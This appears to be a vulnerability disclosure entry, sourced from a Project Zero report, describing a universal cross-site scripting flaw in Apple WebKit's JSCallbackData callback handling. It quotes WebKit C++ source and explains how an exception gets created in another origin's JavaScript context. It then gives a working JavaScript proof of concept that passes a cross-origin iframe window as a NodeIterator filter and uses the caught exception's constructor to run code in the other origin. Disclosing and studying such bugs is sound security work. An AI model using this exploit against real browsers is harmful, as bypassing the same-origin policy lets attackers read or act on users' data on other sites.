Apple Webkit - 'JSCallbackData' Universal Cross-Site Scripting

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1068
 
Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.
 
class JSCallbackDataStrong : public JSCallbackData {
public:
    JSCallbackDataStrong(JSC::JSObject* callback, void*)
        : m_callback(callback->globalObject()->vm(), callback)
    {
    }
 
    JSC::JSObject* callback() { return m_callback.get(); }
    JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }
 
    JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
    {
        return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
    }
 
private:
    JSC::Strong<JSC::JSObject> m_callback;
};
 
JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
    ASSERT(callback);
 
    auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject());  <<<---------- (1)
    ASSERT(globalObject);
 
    ExecState* exec = globalObject->globalExec();
    JSValue function;
    CallData callData;
    CallType callType = CallType::None;
 
    if (method != CallbackType::Object) {
        function = callback;
        callType = callback->methodTable()->getCallData(callback, callData);
    }
    if (callType == CallType::None) {
        if (method == CallbackType::Function) {
            returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec));  <<<---------- (2)
            return JSValue();
        }
        ...
    }
    ...
}
 
But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.
 
PoC:
-->
 
"use strict";
 
let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
    f.onload = null;
 
    try {
        let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
        iterator.nextNode();
    } catch (e) {
        e.constructor.constructor("alert(location)")();
    }
};
 
f.src = "https://abc.xyz/";